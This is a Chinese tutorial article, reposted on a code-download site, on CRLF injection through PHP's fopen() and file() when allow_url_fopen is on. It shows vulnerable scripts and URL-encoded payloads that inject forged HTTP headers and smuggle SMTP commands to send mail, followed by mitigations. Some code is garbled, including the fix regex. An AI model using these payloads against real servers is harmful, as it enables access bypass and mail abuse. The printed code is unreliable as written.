首 页
┆
源码下载
┆
IT学院
┆
字体下载
┆
模板下载
┆
源码发布
┆
广告合作
┆
网站地图
►
设为首页
►
加入收藏
►
联系我们
源码下载
>>
ASP源码
|
PHP源码
|
ASP.net源码
|
JSP源码
|
CGI源码
|
VC/C++源码
|
VB源码
|
Delphi源码
|
Flash源码
文章学院
>>
网络编程
|
网页设计
|
图形图象
|
数据库
|
服务器
|
网络媒体
|
网络安全
|
操作系统
|
办公软件
|
软件开发
|
黑客知识
字体下载
>>
精制字体
|
非英字体
|
艺术字体
|
著名字体
|
哥特式
|
简单字体
|
手写体
|
节假日
|
图案字体
|
精度像素
|
中文字体
模板下载
>>
企业门户
|
数码网络
|
休闲娱乐
|
影视音乐
|
旅游名胜
|
文化艺术
|
电子商务
|
个性展示
|
登陆导航
|
Flash模板
源码搜索
文章搜索
字体搜索
模板搜索
►►
您当前的位置:
源码园
→
IT学院
→
黑客知识
→
网管专题
→ 文章内容
CRLF Injection 攻击--CRLF,Injection,攻击
作者:佚名 来源:网上收集 发布时间:2007-4-11 0:20:44
PHP 的 fopen(), file() 及其它函数存在一个缺陷,即用户随意地添加额外HTTP报头信息到HTTP请求数据包中。攻击者可以利用此缺陷绕过服务器的安全限制,进行非法访问。在某些情况下,这个缺陷甚至可以打开任意的网络连接,在代理端执行PHP脚本和打开邮件转发。
PHP 有一些函数用文件名(如:fopen(), file()等)作为它们的参数。如果在php.ini中allow_url_fopen被设置为打开的,这些函数也允许以接受URL来替代接收文件,并且用正确的协议连接到服务器。那么这些函数将很容易遭到 CRLF Injection 攻击。
1)我们开始一个简单的攻击。下面这段PHP代码被保存并取名为snippet.php:
<?php
echo '<pre>';
print_r(file("http://www.site1.st/api?sunnan=$sunnan&vind=$vind"/images/wink.gif);
echo '</pre>';
?>
如果攻击者这样发送:
snippet.php?sunnan=visby&vind=gotland%20HTTP
/1.0%0D%0AHost%3A%20www.site2.st%0D%0AUser-A
gent%3A%20Ulf/0.0%0D%0AReferer%3A%20http%3A
%2F%2Fwww.gnuheter.org%2F%0D%0ACookie%3A%20u
ser%3Dulf%0D%0A%0D%0A
(必须在一行上)
这个 HTTP 请求将被发送给 www.site1.st:
GET /api?sunnan=visby&vind=gotland HTTP/1.0
Host: www.site2.st
User-Agent: Ulf/0.0
Referer: http://www.gnuheter.org/
Cookie: user=ulf
HTTP/1.0
Host: www.site1.st
User-Agent: PHP/4.1.2
你可以看到,真实的PHP头信息被正确发送,但被服务器忽略了,因为在它们指向的报头结束之前我们发送两个CRLF。
利用此缺陷,攻击者能够任意添加用户代理(user agent),referers 和 cookies。如果站点1和站点2是同一台服务器上的虚拟主机,即使snippet.php有限制,攻击者也能绕过其限制非法访问站点2。
2) 如果PHP脚本是精心构建的,像下面这个叫 dotcom.php 的脚本:
<?php
$fp = fopen($url, 'r');
fpassthru($fp);
?>
将能连接到任意的端口,并发送任意指令,在代理端执行PHP脚本和打开邮件转发。
如果攻击者这样发送:
dotcom.php?url=http%3A%2F%2Fmail.site1
.st%3A25%2F+HTTP/1.0%0D%0AHELO+my.own.
machine%0D%0AMAIL+FROM%3A%3Cme%40my.ow
n.machine%3E%0D%0ARCPT+TO%3A%3Cinfo%40s
ite1.st%3E%0D%0ADATA%0D%0Ai+will+never+
say+the+word+PROCRASTINATE+again%0D%0A.
%0D%0AQUIT%0D%0A%0D%0A
(必须在一行上)
PHP 解释器将连接到 mail.site1.st:25,并且发送下面的指令:
GET / HTTP/1.0
HELO my.own.machine
MAIL FROM:<me@my.own.machine>
RCPT TO:<info@site1.st>
DATA
i will never say the word PROCRASTINATE again
.
QUIT
HTTP/1.0
Host: mail.site1.st:25
User-Agent: PHP/4.1.2
Both PHP and the MTA will complain, but the mail is still sent.
临时解决方案 :
* 通过在PHP脚本中嵌入如下指令,确保所有这种类型的URL变量在使用时已被清空:
$var = preg_replace('/\\s+/', ', $var);
* 如果你的脚本不需要访问URLs,建议在php.ini中关闭allow_url_fopen 。
[] [
返回上一页
] [
打 印
]
上一篇文章:
FLASH常用代码--FLASH,代码
下一篇文章:
攻破网吧经典5招--攻破网吧,网吧
相关文章:
基于php+Mysql的SQL Injection 攻击技术--php,Mysql...
浅谈sql注入式(SQL injection)攻击与防范--sql,注入...
CRLF Injection 攻击--CRLF,Injection,攻击
关于本站
-
网站帮助
-
广告合作
-
下载声明
-
友情连接
-
网站地图
-
源码发布
Copyright © 2003-2009
Ymyasp
.Com
. All Rights Reserved .
备案序号:粤ICP备07029071号